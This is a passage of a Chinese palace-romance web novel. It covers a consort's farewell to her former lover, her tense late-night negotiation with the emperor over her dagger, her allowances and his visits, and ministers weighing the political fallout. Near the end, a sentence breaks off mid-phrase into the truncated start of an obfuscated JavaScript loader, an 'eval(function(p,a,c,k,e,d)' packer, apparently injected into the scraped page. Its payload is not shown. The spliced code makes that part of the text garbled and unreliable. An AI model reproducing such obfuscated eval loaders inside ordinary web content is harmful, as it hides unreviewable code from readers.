摆在台面上大家看到的,霍家在羞辱皇帝践踏君王尊严,那么此事就是霍家在羞辱我;将来我执掌大权必然还击强抢后位的羞辱,霍家该付出多少条命就得拿出来。” “皇帝?嬴忱璧,为什么?”霍灵渠美眸发直,这样的皇帝该有多恐怖? “霍家自己主动送上门,皇帝为什么要拒绝?”晏霁之就事论事,霍灵渠转头看哥哥,霍海啸试图劝妹妹看开:“她们母女找太后之前就在家里撺掇二叔和祖母,家中没有理会,她们又找太后,这闹腾劲儿摆明了就是不达目的势不罢休。 在她们非要闹着强抢后位时可曾替家里想过要霍家付出什么代价?没有。灵儿也清楚从祖父到哥哥我向来只在意自己在意的,霍家何曾对不住过她们母女,又凭什么要帮忙?既然她们母女想找死,二叔不在意,我和你大伯何必多事?何况——”他看眼晏霁之。 晏霁之替他阐明第二点:“何况赌一把又何妨?老穆国公在家颐养天年闲着也是闲着,如若霍家和皇帝联手能抢过圣人掌控的大权、接着又能压倒皇帝,霍家更上一层楼;就算霍家输掉也付得起代价,何乐而不为?你祖父死前玩把大的不是很好吗?” 霍灵渠真忍不住伸手拍他,晏霁之握住美人的柔荑,哄道:“国母尊位能随便抢的吗?你祖父和大伯顺水推舟而已。你想替人家打抱不平,你做贵妃保住这群人的性命,人家可是恨你要跟她抢皇后宝座恨不得把你搬开,你还想替她们怨你爹狠心吗?” “我没有,我也不是滥好心呀。”她就是震惊,霍灵渠冷静些,问最不能理解的一点:“可皇帝做什么要策划一场会羞辱他自己的戏?” “别人非得那么想,他能怎么办?有几人相信霍家有争后位的想法,皇帝就愿意给?”晏霁之喟叹:“信不信,嬴忱璧若是在明面上偏向霍家,郭皇后就能骂丈夫奴颜媚骨。” 霍灵渠被噎住,霍海啸猜测:“你觉得陛下对灵渠有真心吗?” “嬴忱璧想要圆满。”晏霁之弯弯风流的桃花眼笑起来,笑得犹似在雾中观花般迷惑又似清风吹过波光粼粼的湖面般潋滟,他似答非答:“皇位已得,霍家能弥补外祖家的缺憾,生母早亡、养母不能强求,他现在只差情爱,谁做他心爱的女人能给他圆满?” “太后故意将你们支走是要追责前些天英王府想害灵渠的大火。”霍海啸一时也猜不准他这番推测能有几分可信便暂且放掉转而提起此行正题:“姑母要褫夺英王妃母女的诰命再各重打五十大板,佟家在仕途的几位全部罢官。 陛下没有表态只请圣人做主,圣人倾向宽仁处理只褫夺英王妃母女的诰命但没有定死,我们祖孙的意思是褫夺诰命、杖刑再将佟图匡罢官,将佟梦佶调到地方,把佟家赶回滁州;他们闹腾不休又仗着贵妃心地好非要问贵妃,我才亲自走了这趟。” 语毕,霍海啸专注看晏霁之,晏霁之淡淡:“英王妃褫夺诰命,其他人你随意。” “随意?”霍海啸打量道:“佟老太太这把岁数重打五十大板可是有可能把她打死的。” “你看我像烂好人吗?”晏霁之对他这态度真有意见:“你外祖母挖空心思要把你家当踏脚石又让你娘告你不孝要毁掉你还要害死你媳妇,你管她死活?” “行!跟我走吧。”霍海啸准备站起来,霍灵渠:“……”不问我的意见吗?急忙拦道:“等等,英王妃母女褫夺诰命再请朝廷在我爹临终时收回兴献侯的爵位,够了。” 两个男人相视眼,霍海啸重新坐下,瞥见还有只洁净的茶杯,拿茶壶倒杯茶水喝。 晏霁之真想怼她傻,难怪她琢磨兴献侯会否把爵位传给嫡子呢:“我明白你是好心,我们清楚姨夫不会把爵位传给霍振羽可他们能有这觉悟吗?你是不是还希冀着想霍振羽能看清现实脚踏实地别再做白日梦?我能肯定告诉你,你用心良苦只会招致恨毒,何苦?” “我又不怕担恨意。”霍灵渠坚持:“就按我的意思,我觉得我报复得很恰当了。” “行吧,随你,大舅哥?”晏霁之揶揄,霍海啸真嫌他:“我敢应,你还真敢叫啊。”再温和得对妹妹说:“大哥想起件事,我刚走出麟德殿时碰上芷筠斋的小太监。 霍秀仪要喝燕窝,宫人不知是否还按旧例便来请示太后,我做主今晚给她备燕窝,宫宴散后再请示太后。但我猜姑母不会再放纵,霍鹣娇有得闹了,灵渠只管别理会她。” “就为燕窝吗?”霍灵渠纯粹好奇:“姑母不给,大伯也可以给补贴呀。” “霍秀仪进宫的第一个月,用度就已经直逼正三品,此后不管她品阶如何,用度从未降过,这是宫里公开的秘密。”晏霁之笑道:“若是太后不肯再放纵,霍秀仪哪能受得了?穆国公愿意给补贴也得有度否则皇帝颜面何存?安抚不住的。” 霍灵渠看哥哥,霍海啸肯定:“这还是我拦着姑母,原本姑母不在意,她还顶着七品品阶的时候就已经敢肖想要用贵妃的用度,我劝住太后才给她压在三品的用度。” “你这庶妹能忍到现在还不对穆国公说她想做皇后真难为她了。”晏霁之也纯粹好奇:“他们那位生母娉姨娘到底因何能得你老爹二十多年偏宠,你观察过吗?” “我家灵渠都知道的。”霍海啸看向妹妹,少有的温柔含笑:“灵儿还记得吧?” “因为娉姨娘够蠢。”霍灵渠轻咳声:“童年时我也好奇,我就问祖父,祖父说时我不信还特意找大伯问,大伯亲自承认因为娉姨娘够蠢当做逗闷挺不错,所以就多宠宠。” 晏霁之服气的,指使那碍眼的:“你挪挪地儿,让我和你妹妹这对苦命鸳鸯告个别。”惹得霍海啸没好气瞪他再叮嘱过妹妹后离开,他目送这大舅哥消失,哄怀里的美人:“别怕,在宫里寂寞就和海螺说说话,再熬两三年就能出宫了。” 霍灵渠垂眸低低应,晏霁之苦涩抱紧她,压抑住离愁伤情提点:“你提议朝廷在你爹临终时收回兴献侯爵位,前朝后宫包括霍巨浪在内都会认定是霍海啸在蛊惑你,霍振羽会恨你狠心也会恨我没有阻拦但最恨的定然是霍海啸而不是你我。” “我大哥?”霍灵渠怔怔抬眼瞧他,晏霁之轻抚女人的眉梢,柔声宽解:“他当然清楚但他们堂兄弟没有转圜的余地了,佟尚书若被罢官,霍振羽仍然会恨;再等你爹表态不会将爵位传给嫡子,他还是能恨到霍海啸认为是霍海啸在当中挑拨。 再者他是能愿意放掉替妹妹争的,因为他姐姐将来做皇后,他还能做梦,可你和霍海啸更亲他能忍吗?他们堂兄弟的决裂在昨天就已经注定,跟你没关系,别瞎想。至于朝野对此事的看法,你大哥根本不在意,你更无需在意,知道吗?” “哦。”霍灵渠心酸靠他怀里,也劝他:“英王妃被褫夺诰命必定不会罢休,我就怕你心里不痛快真要和生母较劲,你要是在府里忍不住就到府外避避,别和她当面起冲突。” “好,我听你的,但你今晚要想我。”晏霁之憋住泪意默数十个数,狠心离开。霍灵渠美眸一眨不眨看他走出眼帘,眼底不自觉沁出泪花,被束缚禁锢的重压和对皇宫的恐惧还有想逃离的渴望在无形中如浪潮般席卷而来几乎要将她吞噬,她苦涩蜷缩抱住自己。 68. 第68章 夜晚静静沉醉在满天星辰中,多喧嚣浮华的白昼都终将回归沉寂的夜;皇宫灯火渐消,像宝石镶嵌满夜空的繁星正值光辉璀璨,晚风拨过浮云,仿佛能遥见星星闪烁的笑脸。 关雎宫低奢富丽的寝殿里,霍灵渠怀抱她带进宫的包裹倚靠在朝南的窗前遥望耀眼的星空,一站就是许久;正徽帝嬴忱璧驻足凝视片刻,贵妃都没反应,他走前几步尽量和悦哄:“宫人说贵妃没有用晚膳,朕吩咐膳房备宵夜,刚端上来,用些吧。” 霍灵渠沉默下缓缓转头看皇帝,看眼即又垂眸,跟皇帝要:“我的匕首呢?” “昨日是朕的生辰,原本想生辰时贵妃能陪着朕,可惜事与愿违,今夜朕吩咐备了面食。”嬴忱璧压住心底浮现的悲哀笑:“贵妃可否陪朕吃碗迟来的长寿面?” 交易!皇帝明明白白就是在跟她谈交易,霍灵渠听得懂只能应:“好。” 嬴忱璧再走近步,想牵贵妃的手不想被避开,他迟疑下仍要牵手,霍灵渠挣扎要挣脱,抗拒得令皇帝想忽视都难:“朕可以允许贵妃三年不侍寝,但朕还不能握贵妃的手、抱贵妃吗?难道贵妃还想在侍寝前对朕说‘请陛下自重吗?’” 自重二字就像被踩到的猫尾巴,霍灵渠血气上涌恨得重重甩掉皇帝的手,愤懑难抑如同冲破囚笼的困兽般冲皇帝谈条件:“你到底想怎样才肯放过我?” “放过?”嬴忱璧好笑得自嘲起来:“你已经是我的贵妃,我更承诺过会让你做皇后,你还心心念念着想离开朕?三年不侍寝是喻示着你想在三年内离宫吗?” “是!”霍灵渠平静下祈求:“你是皇帝要多少心甘情愿的女人没有,何苦勉强我?出宫后我会伴在佛前终此残生,不会辱及你皇帝的颜面,你就放过我吧。” 宁愿青灯古佛都不想做他的皇后吗?嬴忱璧强硬握贵妃的纤手,说:“面该凉了。” 两碗清汤鸡蛋面,一碟片皮乳酱肉、一碟白鱼火腿片、一碟八宝豆腐和鲜笋汤做配菜,另有两盅罐煨山鸡丝燕窝、一碟水晶蒸饺和一碟芙蓉香蕉卷,俱是精致且色香味诱人。 霍灵渠紧紧抱着她的包裹不肯交给要接她包裹的宫娥,嬴忱璧扫过眼让宫人们都退下,对倔强的贵妃说:“再有一刻钟就到亥时了,用过宵夜,朕和贵妃就该洗漱安置了。” “关雎宫有很多寝屋,如果你非喜欢这座寝殿,我让给你。”霍灵渠拒绝得清楚明白,嬴忱璧明白得曲解:“前朝政事繁重时,朕整月不进后宫都是有的;前朝不忙,朕每月宿在后宫的日子最多也就十余天。自今夜往前数半月,朕都没有召幸过嫔妃,贵妃放心。” “陛下何必非得强人所难?”霍灵渠懒得和他兜圈,嬴忱璧轻飘飘笑:“朕是皇帝。” “……”霍灵渠忍住憋屈忍住抓狂的冲动把包裹放在旁边锦凳上,自己坐下捧碗吃面,嬴忱璧凤眸溢笑像是突然间发现件高兴事:“今后,朕每月至少十天会留宿关雎宫。” “……”霍灵渠手抖下,只觉身体内有股血液在翻滚咆哮,她压压激烈的心绪尽量婉转:“陛下,世间许多事都很难勉强,就像花草树木需要阳光和雨水的滋养才能长得好,即使是皇帝也不可能违背、硬把一盆花放在密闭的暗室里之后还要求花株盛放。” 嬴忱璧眼中的高兴消退些:“贵妃觉得几日合适?” “臣妾想在陛下大权在握后功成身退,皇宫再好也不是谁都喜欢,我愿意出宫后伴在佛前为陛下祈福,你放过我吧。”霍灵渠很认真跟他讲,嬴忱璧告诫自己莫生气,只管把她的话忽略就好:“既然贵妃没有异议,今后朕就常宿在关雎宫了。” 霍灵渠憋住烦闷,咬咬唇不情不愿报:“比皇后娘娘多一日足矣。” “哈哈,三日啊?贵妃是知道朕若进后宫则每月初一十五会宿在椒房殿才故意如此吗?”嬴忱璧好像要跟她商量:“可朕觉得贵妃应该要做宠冠后宫的宠妃,三日怎够?” “朝堂后宫都知道贵妃不侍寝,既不侍寝又怎能霸占陛下?臣妾绝不妄想宠冠后宫。”霍灵渠恭恭敬敬装:“每月能有三日见到陛下,臣妾就很满足了,陛下放心。” “朕记得贵妃曾言即使循规蹈矩也会被众多朝臣和读书人谩骂,要做些妖妃做的事,如此再担骂名才不觉得委屈。”嬴忱璧轻松拿她的话堵她:“朕可是替贵妃着想,贵妃既不侍寝还要霸占朕然后再被朝野训斥,贵妃才能落点实惠。” 霍灵渠憋屈得就像挨记闷棍还痛不能言:“那就比您的宠妃多一日。” 嬴忱璧没表态,夹筷白鱼火腿片放进她的面碗里:“用宵夜吧,面该凉了。” 霍灵渠闷闷低头吃面,她午膳就没胃口几乎没怎么吃,晚膳时仍然没胃口也没觉得饿,此时动筷用些汤面反而饥肠辘辘起来,干脆不再多言专注吃宵夜。嬴忱璧看贵妃食欲不错,心情也好些,还能劝贵妃少用些宵夜,夜里不好克化。 皇帝和贵妃娘娘各自吃七八分饱后,皇帝传令宫人撤掉碗碟、奉热茶进来,又带贵妃坐到居正中的黄花梨罗汉床里说话:“朕给贵妃备了五十副珠玉首饰和十万两白银一箱黄金,没有走贵妃月例的账,算朕私底下拨给贵妃用的。 贵妃本月月例的衣裳首饰脂粉香料等物都送到关雎宫了,只是朕在正徽元年削减过用度,后宫曾提醒朕,新定的份例有些拮据,贵妃若觉得不够用只管跟朕说。” 宫人们进殿奉热茶和果盘,霍灵渠扫视过果盘,捏颗樱桃尝尝果然已经剔过果核,她捧起茶盅喝口香茗果然茶水不烫刚好入口,再向皇帝要:“陛下,我的匕首呢?” 正徽帝嬴忱璧挥挥手,宫人们退到殿外,较劲般反问:“贵妃听清楚朕的话了吗?” “清楚的,陛下说私底下拨给臣妾许多?”霍灵渠愣了愣:“你说给我十万两白银?” “贵妃月例八十两白银,虽然霍家很快就会给贵妃备好陪嫁送进宫来,但贵妃在宫里总不能还靠娘家的陪嫁过。”嬴忱璧温和叮咛:“今后,贵妃若是手头紧只管告诉朕。” 霍灵渠奇怪:“陛下既然会私底下给嫔妃补贴还减用度作甚?” 贵妃的关注点真是叫皇帝他都有点无奈表明:“朕只有给贵妃补贴。” “哦,那皇后每月多少月例银两呀,你削减用度前又是多少?还有呀,十万两白银都够贵妃一百多年的月例银子了,陛下怎么会想给送我这么多钱财?”霍灵渠没负担地接受了,皇帝自愿给补贴,做什么要把银两往外推。 高兴于她没有拒绝,嬴忱璧的语气也松泛些:“朕削减用度前沿用授康年间的例,皇后月银五百两,贵妃月银四百两;朕削减过后,皇后每月的月例银子是一百两。 可宫中的花销向来不限于份例就止,贵妃每月的用度折算成现银是二千两,这价钱论真起来只够买副不算贵重的首饰,嫔妃们若想过得再好些就得自己出银两或者走朕的账。朕给贵妃备的这笔银两不算多,贵妃日后若是觉得日常花销不够,尽管和朕说。” 霍灵渠没过耳地试探:“可皇后每月也就一百两月例银子,陛下不担心皇后吗?” “穷奢极欲永远没有止境的。”嬴忱璧端起茶盅喝两口,龙颜因热茶水汽的散发而变得模糊难辨起来:“朕清楚贵妃心中有坚守,不会被浮华奢靡的享受迷住眼。 可世间的贪婪绝不会因为身在高位就能有满足,哪怕是皇后,只要皇后压不住贪欲,哪怕皇后每个月能有一二千两的月例银子都远远不够她花销。” “您刚说后宫曾提醒陛下,有些拮据?”这不是摆明在打皇帝的脸,郭皇后不至于吧?霍灵渠水灵灵的大眼睛忽闪求知欲:“谁提醒你呀?” “咳!”嬴忱璧握拳抵唇咳嗽声,忍三年确实太折磨他,压住遐思说:“主要是圣人留在宫中的太妃们不适应,以前位列一二品的高位,做太妃比照正五品嫔御的份例;以前属二品以下,做太妃就要比照正六品嫔御的份例,太妃们不大习惯。” “朕的嫔妃中也有几位向朕暗示过用度可再宽裕些。”嬴忱璧具体说道:“朕定的用度,贵妃每月二十套宫装十六副首饰,朕记得贵妃童年在霍家时每月衣裙就要四十套起。 朕猜贵妃曾在英王府时每月应该也不止添三十套衣裙,所以贵妃在宫中若是觉得用度拮据只管跟朕说,千万别瞒着朕反而告诉娘家人,那么朕真是无颜见国丈和国舅了。” “在英王府时霁之每月给我添置十二套新衣裳,陛下定的很富余了,臣妾谢陛下。”霍灵渠随意闲侃:“臣妾听闻皇后月例二十四套宫装十八副首饰,没错吧?也就是,贵妃月例比皇后少四套宫裙二副首饰,这么递减,低品娘子的月份例还能有衣裳首饰吗?” “贵妃多虑了,必需的份例,内廷自然会把每个品阶都顾及到。”皇帝说。 “哦,嗳,那七八品和九品月份例都是多少呀?”霍灵渠扩散道:“臣妾觉得低品阶的娘子的用度原就少,陛下若是真想私下给嫔妃补贴可适当提高她们的份例。” “贵妃心善。”这般聊着,他们之间倒也显得温情多了,嬴忱璧笑意实在些:“朕目前没有七品、八品和九品的嫔御,且朕对末三品的份例基本没减。正七品的月例银子是六两,按二两白银往下递减,九品月银二两。而宫装——” “等等、等等。”霍灵渠忙疑惑打断:“正七品月银六两,按二两递减,从七品、正八品、从八品、末九品,有四个品阶呢,末九品的月例银子怎么能是二两?” 嬴忱璧端起茶盅喝两口,失笑道:“朕忘记告诉贵妃了,正徽元年,朕削减用度时把低位品阶中的从七品和从八品都删掉了,当前,正七品往下只有正八品和末九品。” 霍灵渠讶然:“删掉啦?”她忽然美眸溢笑亮晶晶的:“这倒好像不错,圣人做皇帝的时候后宫嫔妃有十七个品阶,真挺多的,删掉两个品阶也能轻松些。” 轻松?这措辞是不是有点奇怪?嬴忱璧微微纠结下还是想不和贵妃纠结了:“不好说圣人在位时将嫔妃的品阶置得多,朕只是觉得已然是低位了,再分得那么细致也没必要,故而把从七品和从八品删掉,让正七品以下就是正八品和末九品。” 霍灵渠点头赞同,捧茶盅喝茶。嬴忱璧看眼贵妃,若有似无说:“其实,嫔妃的月例首饰除珠钗外还有绢花和绒花,末九品月例六朵绢花,往上一级增两朵,装满匣有十朵。绢花是每个品阶都有,绒花则是正四品婕妤开始才有两朵。” “贵妃月例有四匣绢花和两匣绒花。”嬴忱璧端起茶盅,指腹摩挲着杯壁,刚想试探就被贵妃抢前了:“一个品阶按两朵递增,贵妃月例怎么会有四匣绢花两匣绒花?” 贵妃体察真入微,皇帝好说话得给答复:“正二品月例三匣绢花、一匣绒花,从一品月例三十五朵绢花十五朵绒花,贵妃月例四匣绢花两匣绒花,皇后月例五匣绢花三匣绒花。” 语毕,他试探:“一两朵绢花绒花都要斤斤计较,贵妃是否也觉得朕抠搜?” “没有啊!”霍灵渠坦率道:“一朵绒花便宜的也要一两银子呢,内廷制的绢花应该也不会多便宜,倘若末九品就给匣绢花,按匣往上递增,每月单是嫔妃的绒花和绢花月例就得花销多少?真难怪授康年间一月的花销动辄就要二三十万两。” “圣人宽厚体恤后宫,贵妃不好这么说的。”哪怕贵妃只是奉承,嬴忱璧听着也乐意,霍灵渠敷衍下追问感兴趣的:“我听说内廷现在每月花销都不到五万银两,真的吗?” “对。”嬴忱璧答过对觉得算答完了,未想对面的贵妃呆萌望着他,眼神清澈而纯真,浑似在等他的详细阐述,皇帝顿下默默续接补充:“当前,太后月花销在五六千两; 朕的花销和太后差不多;太上皇留在皇宫中的太妃们月例花销合计在六千两;皇后和嫔妃、皇嗣们的月花销合计六千多两,当然,贵妃刚进宫,这是不包括你的;宫人们的月例用度二万多两,合计便不到五万两。” 嬴忱璧特意指明:“授康年间,皇宫有将近两万名宫人,每月单是宫人的月例花销就达十多万两,圣人还有百八十名嫔妃;而今皇宫中只有六千多名宫人,朕的嫔妃也少,朕又在登基初大肆削减过用度,这才使授康年间的月花销是现在的好几番。” 还有贪墨之故吧,霍灵渠心说,怀疑道:“太后的份例中有贵重的珠宝吧,我姑母自幼眼光高,百八十两的珠钗她可能都看不上,太后月花销五六千两能够吗?” “珍珠宝石玉器皆有进贡。”嬴忱璧笑着解释:“归属贡品的份例不会纳进现银折算。” 霍灵渠默下,是她想错,皇家多的是各地进贡来的贡品,何况珠宝玉器呢,皇帝限定的花销是指刨除进贡而来不需采购那部分,若全按市面上的价钱算还不知要翻几番呢。 “贵妃?”嬴忱璧瞧着贵妃突然走神忍不住唤她:“怎么发呆了,在想什么?” “哦,臣妾在想倘若嫔妃的用度全部折算成现银得花销多少,陛下算过吗?” “贵妃多虑了,这也不必算,份例中不纳进现银折算的用度也有定额的。”嬴忱璧道:“譬如珠宝,皇后月例珠宝首饰造价定在一千两,贵妃,是定在八百两。” 霍灵渠真有点意外,觑皇帝一眼,小心翼翼比一根手指:“皇后月例是十八副珠宝首饰,十八副珠宝首饰放在市面上价值一千两,平均每副首饰价值五十五两;一副头面至少得六件珠钗,平均一支珠钗不到十两银,配国母尊位好像有点廉价了吧?” 嬴忱璧瞧着贵妃偷偷摸摸打量他的模样怪可爱的,忍俊不禁道:“贵妃误会了,后妃的一副首饰不单指一副头面,一支珠钗、一只手镯、一对耳珰都算做一副首饰。” “哦,这样啊,那倒还好。”霍灵渠转念想进言:“郭皇后有价值上千两的整副头面吗?陛下就没想过偶尔俩月把皇后份例的十八副首饰化整成一副价值千两银的整套首饰吗?毕竟皇后娘娘总该有几副价值上千两的珠宝,不然,陛下也没颜面,对吧?” “年底过新年时还有年例,皇后年例有十副珠宝首饰,造价定在二千两,当中会有一副珠宝首饰的造价在千八百两。每年皇后生辰,朕和太上皇、皇太后都会有赏赐,更不乏命妇官眷会给皇后送礼。”嬴忱璧淡淡结语:“郭皇后不缺贵重的珠宝。” 霍灵渠真心赞:“陛下的记性真好。” 嬴忱璧失笑:“贵妃过奖了,但话说回来,而今的皇宫是节省了些,贵妃若是觉得有拮据尽管跟朕说,不然若是让霍家补贴,朕可就丢人丢到宫外了。” “陛下怎么会那么想?”霍灵渠平心而论:“你额定宫中用度时肯定考虑着皇家体面,新用度必定够皇家的富贵体面,您才会传令内廷施行。圣人做皇帝时愿意让后宫铺张,您做皇帝没想铺张便加以调整,有嫔妃一时难适应,都在情理中,何来丢人?” “贵妃说得好。”嬴忱璧发自肺腑的露出丝笑意,霍灵渠问:“对了,贵妃的膳食如何?我在英王府时午膳晚膳就三荤两素一汤,我一人不需摆太多菜肴,六道菜足够了。” “呃?”嬴忱璧真没想过她要减用度啊:“贵妃,六品娘子的膳食就有六道菜,你是正一品的娘娘,倘若正餐也只有六道菜的话,真不妥。” 霍灵渠捧茶盅喝两口,计较道:“你每顿都摆几十道菜肴?”她猜不像啊。 “倒也不是,朕平常独自用膳也就摆十多道菜肴吧。”嬴忱璧考虑道:“那么,贵妃的膳食用例就随朕。贵妃月例午膳晚膳是十六道菜肴,你想让膳房给你准备贵妃定例的膳食就提前派宫人去传令,若是没有吩咐,平日里就只给贵妃准备半份膳食,如何?” “好,谢陛下。”霍灵渠也没得非得降到六道菜,再问:“我的匕首能还给我了吧?” 嬴忱璧想往好处想的,可贵妃最后偏偏又这么来一句,刚才的融洽实在像她只是想要回匕首的假意奉承。皇帝他端起茶盅再慢慢喝两口,提高声音喊:“来人!” 候在殿外的总管太监麻溜捧木匣进殿,来到陛下跟前行过礼再奉上木匣。正徽帝嬴忱璧接过木匣打开而后取出镶宝石的匕首,他握着匕首打量仍然没有痛快还给贵妃的意思。 “宫中规矩,非戍卫皇城的将士不能携带利刃。这把匕首想必承载着爱妃才十七八岁时青葱岁月里最美好的回忆,才能让爱妃宁可错过贵妃的册封典礼都不肯退让。” 霍灵渠站起来伸出魔爪抢皇帝手中的匕首,嬴忱璧吃惊抬眼,她反瞪之,总管太监悄悄往角落移动缩小自己的存在感。皇帝和贵妃僵持四五息时间,皇帝松手并规劝:“朕答应会还给贵妃自然作数,可匕首还握在朕手里,贵妃硬要拿像话吗?今后可不能再犯了。” “在此前陛下只字不提,妾还以为今早的女官和宫人们都没告状呢。”霍灵渠爱惜得抚抚匕首然后放进包裹里,她抱紧包裹跟皇帝谈判:“我和关雎宫的宫人撕破脸了。” 总管太监觉得脑门有点刺激,嬴忱璧没有被贵妃的美丽迷惑:“宫人们哪里有做错?” “陛下看来当然没错,但臣妾消受不起。要没收我的行李,我不给,对我说自重;大清早的突然要我沐浴,我不愿意,对我说请贵妃自重,就连只是让他们关宫门都能扯到自重。我做贵妃得是皇帝陛下多深重的耻辱啊,臣妾哪能消受得起您如此厚爱?” 语毕,霍灵渠抄起茶盅就砸,然后没待皇帝说话,她抱紧包裹就往寝殿内室走。 嬴忱璧没想过她竟敢在他面前砸东西,愣是被贵妃的发飙惊得怔愣下,然后看她气咻咻得径直走掉又愣是贵妃二字卡住喉咙里没蹦出来。醒过神,他抬手捏捏眉心,片刻后吩咐:“厚运你再教教他们,贵妃是朕爱重的女人,谁若胆敢再轻慢贵妃,朕绝不轻绕。” 四十多岁微胖的总管太监蒋厚运忙磕头领旨告退,虽然他想再请示下对爱重的提示?再想霍家还没倒,贵妃肯定要受宠的,他们当前只管把贵妃供起来奉承着就是。 正徽帝嬴忱璧叹口气站起来往内室走,绕过九扇紫檀边座嵌琉璃玉石屏风,看见贵妃抱着包裹坐在美人榻里出神,竟让他恍惚有种贵妃与这宫殿格格不入的错觉。 “朕没想到会弄巧成拙,朕已经让厚运训斥宫人们,不会再有人胆敢对贵妃不敬。” 皇帝挨过来坐,霍灵渠就抱着包裹自动离远些,嬴忱璧没再靠近,好声劝她:“若是因此就把这批宫人全部撤换,新拨过来的宫人只怕是恐慌畏惧多于用心伺候,若是再三撤换更适得其反;何况还有贵妃的名声,何必因此就伤及贵妃的名声?训斥番就好了。” “你能不能放过我?” 霍灵渠美眸怔怔凝视她怀里的包裹,沉静得仿佛泥塑:“我知道你的处境也难,我想近期就离宫你几乎不可能同意,我就求你大权在握不再被钳制之后,你放过我吧?我保证,我离宫后就入庵堂清修,伴在佛前终此残生绝不会给皇帝蒙羞,你放过我吧。” “青灯古佛比做皇后还要好?”嬴忱璧想忽略,可贵妃就是不愿意让他忽略啊:“到底是在佛前修行还是修行一年半载后假死和情郎远走高飞,贵妃解释得清吗?” “我会在佛门清修。”霍灵渠抬头注视皇帝,那般平静而坚定:“佛门清净,对我而言,入佛门修行是比困在皇宫好。世间再多人想要富贵尊荣也不是人人都向往,陛下。” 嬴忱璧真觉得讽刺,他殷切想把君王的真心捧上就换来一再被弃如敝履,反唇相讥道:“可惜贵妃有牵挂,不能以死相逼。” 霍灵渠似难以置信得定定看他眼后低头,嬴忱璧顿时懊恼,再次靠近,伸手臂迟疑下还是张开手臂环抱住贵妃,他也难受啊:“朕是生气说错话了,可你如此践踏朕的真心,朕能不生气吗?我要把帝王的真心和国母尊位都给你啊,你怎么就避如蛇蝎呢? 宫宴上,你和晏霁之眉目传情几回,你竟然还当着我和满朝的面与旧情郎牵手,更甚者我确信放你们私底下相处晏霁之绝对不会规矩我都忍让放纵了,我宽容得还不够吗?” “世间岂有永生?”霍灵渠只觉有团火在血液里燃烧就不想忍:“陛下何不问你父皇,何苦迷信荒诞,宁可寻机谋害亲儿重登皇帝宝座都不肯认清人间亘古不变的生死常理?” 正徽帝嬴忱璧瞳孔猛缩,心中更是掀起惊涛骇浪,他几乎是下意识地站起来检查,哪怕他肯定没人偷听都不愿意放心非得检查过,反复检查两遍确定没人偷听,他才虚虚松口气,重新走回到贵妃身边,真被她吓了吓:“谁告诉你的胡言乱语啊,晏霁之?” “是不是胡言你心里没点数吗?你敢拿你的皇位发誓我只是胡言而你心里也没数?” 真要败给她了!嬴忱璧无奈:“贵妃切记,宫中最重要的是谨言慎行;这样吧,朕明日再陪贵妃细聊,朕去叫宫人备热水洗漱,我们该安置了,不要再和朕怄气了。” “你去找别的寝殿。”霍灵渠说,嬴忱璧深呼吸:“朕睡软塌,这是朕最大的让步。” 贵妃娘娘斜眼睨皇帝两眼,皇帝他略掉思量贵妃的眼神有多少含义就往外走。他离开,霍灵渠抱紧包裹站起来重新移步到窗前,怀中的包裹好似像落水之人死死攀附的浮木,唯有紧紧抱着才能让她苦涩不安的心稍有些慰藉平和。 大半时辰前还繁星熠熠的银河渐黯淡,霍灵渠靠在做工精良的窗框呆呆凝望,她眨眨眼恍惚看见星星在回应;想想晏霁之,往昔不再,她才发现原来他们曾那般炽热缱绻。 黑暗静静在夜空蚕食星辰,遍洒在人间的稀薄星辉悄悄流转,徜徉过皇城矗立的巍峨高墙转徙入寻常嗔痴爱恨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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是霍家的车马,再准确说是霍振羽和他母亲妹妹从佟家返回霍家。消息传进显国公府,还在和兄长秉烛夜谈的薛侍郎怀疑:“佟尚书在向霍家示好吗?” 谁想到霍海啸带回的竟然是贵妃要求朝廷在她爹兴献侯临终时收回爵位!一个侯爵啊,霍海啸够明目张胆但贵妃也真够狠得下心,不给嫡出的弟弟好歹可以给庶出嘛。霍振羽出宫城就带母亲和妹妹回外祖家,他还以为佟尚书定然要把女儿和外孙留在佟家。 “可能想放手了。”显国公猜度道:“霍漓江没多少在意,霍家内部掀不起风浪,霍振羽不肯和堂兄罢休,还能靠谁出头?英王府他想都不用想,只剩佟家能用,佟尚书怎么可能拿自家家底给外孙挥霍?何况,没准儿霍家已经准备舍弃霍振羽了。” “若是霍振羽被家族舍弃?”薛侍郎问:“大哥,我们要用吗?” “庄太妃和晋王肯定会动动心思。”显国公若有似无擒抹讽刺,言外之意就是不沾手,薛侍郎隐晦提醒:“如果武襄侯府那位四奶奶真是圣人的六公主,就算咱们能请圣人压住霍家平息此事,庄太妃的命也肯定是要给霍家的,晋王和霍家的血仇逃不掉了。” 显国公明白弟弟的意思:“再看吧,还有陛下在背后呢,陛下费尽心思找到人册封贵妃可能会让这场震荡轻易打水漂吗?最终会殃及谁家还得看陛下和圣人的较量。” 还看皇帝和太上皇的较量!同样的话,同个时间段,还出在蒙侍郎幕僚行知的口中。 作为年十四五岁吴王的外祖父,蒙侍郎操心多,要操心吴王的将来,要操心蒙家的前程,要操心佟尚书致仕后他能否任礼部尚书之职,更要操心如何在朝堂的漩涡中保全。 “行知你是没看见陛下要处置平原大长公主时何等气定神闲。”蒙侍郎比忠毅伯小九岁,相比魏王晋王他们明显还没有死心,他在圣人禅位前的确想争取拼把,现在根本没心思;他更清楚圣人不可能放权,陛下如若真想夺权,他进退维谷啊。 他对面的幕僚二十六七岁的模样,清隽文雅的眉眼,旷然脱俗的气质,若说晏霁之像生长在皑皑雪山顶的高岭之花,他就像盛夏池塘里绽放的清莲,仿佛他周身有种宁远超然的无形结界,隔绝着世俗的侵扰。 只是他身体弱,娘胎里带来的体弱,虽然行走无碍仍然常年轮椅不离左右,此刻他就坐在轮椅里劝蒙侍郎宽心:“陛下虽然羽翼渐丰满,但绝对还没到和圣人硬碰硬的时候,最终朝堂的火会如何烧起来乃至两位至尊联手将火烧到霍家都是未知数。” “君心难测啊。”蒙侍郎就怕:“若是陛下不想再忍呢?陛下今年就要让忠毅伯致仕啊,行知你想想,圣人前脚刚追尊晏贵妃为温献皇后,陛下后脚就送个吏部左侍郎给晏家,朝堂暗流涌动已经有凶险的前兆,可不能不妨。” 